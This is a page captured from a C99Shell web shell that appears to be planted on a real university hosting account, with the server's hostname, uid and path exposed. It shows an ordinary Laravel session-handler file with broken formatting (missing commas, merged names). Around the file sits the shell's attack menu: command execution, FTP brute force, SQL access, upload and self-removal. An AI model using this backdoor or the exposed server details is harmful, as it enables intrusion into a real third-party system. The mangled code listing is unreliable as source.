!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache/2.2.22 (Debian). PHP/5.6.36 

uname -a: Linux h05.hvosting.ua 4.9.110-amd64 #3 SMP Sun Nov 4 16:27:09 UTC 2018 x86_64 

uid=1389(h33678) gid=1099(h33678) groups=1099(h33678),502(mgrsecure) 

Safe-mode: OFF (not secure)

/home/h33678/data/www/it-man.ztu.edu.ua/src/vendor/laravel/framework/src/Illuminate/Session/   drwxr-xr-x
Free 116.5 GB of 200.55 GB (58.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     LegacyDatabaseSessionHandler.php (3.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace Illuminate\Session;

use 
Carbon\Carbon;
use 
SessionHandlerInterface;
use 
Illuminate\Database\ConnectionInterface;

/**
 * @deprecated since version 5.2. Use Illuminate\Session\DatabaseSessionHandler.
 */
class LegacyDatabaseSessionHandler implements SessionHandlerInterfaceExistenceAwareInterface
{
    
/**
     * The database connection instance.
     *
     * @var \Illuminate\Database\ConnectionInterface
     */
    
protected $connection;

    
/**
     * The name of the session table.
     *
     * @var string
     */
    
protected $table;

    
/*
     * The number of minutes the session should be valid.
     *
     * @var int
     */
    
protected $minutes;

    
/**
     * The existence state of the session.
     *
     * @var bool
     */
    
protected $exists;

    
/**
     * Create a new database session handler instance.
     *
     * @param  \Illuminate\Database\ConnectionInterface  $connection
     * @param  string  $table
     * @param  int  $minutes
     * @return void
     */
    
public function __construct(ConnectionInterface $connection$table$minutes)
    {
        
$this->table $table;
        
$this->minutes $minutes;
        
$this->connection $connection;
    }

    
/**
     * {@inheritdoc}
     */
    
public function open($savePath$sessionName)
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function close()
    {
        return 
true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function read($sessionId)
    {
        
$session = (object) $this->getQuery()->find($sessionId);

        if (isset(
$session->last_activity)) {
            if (
$session->last_activity Carbon::now()->subMinutes($this->minutes)->getTimestamp()) {
                
$this->exists true;

                return;
            }
        }

        if (isset(
$session->payload)) {
            
$this->exists true;

            return 
base64_decode($session->payload);
        }
    }

    
/**
     * {@inheritdoc}
     */
    
public function write($sessionId$data)
    {
        if (
$this->exists) {
            
$this->getQuery()->where('id'$sessionId)->update([
                
'payload' => base64_encode($data), 'last_activity' => time(),
            ]);
        } else {
            
$this->getQuery()->insert([
                
'id' => $sessionId'payload' => base64_encode($data), 'last_activity' => time(),
            ]);
        }

        
$this->exists true;
    }

    
/**
     * {@inheritdoc}
     */
    
public function destroy($sessionId)
    {
        
$this->getQuery()->where('id'$sessionId)->delete();
    }

    
/**
     * {@inheritdoc}
     */
    
public function gc($lifetime)
    {
        
$this->getQuery()->where('last_activity''<='time() - $lifetime)->delete();
    }

    
/**
     * Get a fresh query builder instance for the table.
     *
     * @return \Illuminate\Database\Query\Builder
     */
    
protected function getQuery()
    {
        return 
$this->connection->table($this->table);
    }

    
/**
     * Set the existence state for the session.
     *
     * @param  bool  $value
     * @return $this
     */
    
public function setExists($value)
    {
        
$this->exists $value;

        return 
$this;
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by PinoyWH1Z | C99Shell Github | Generation time: 0.0237 ]--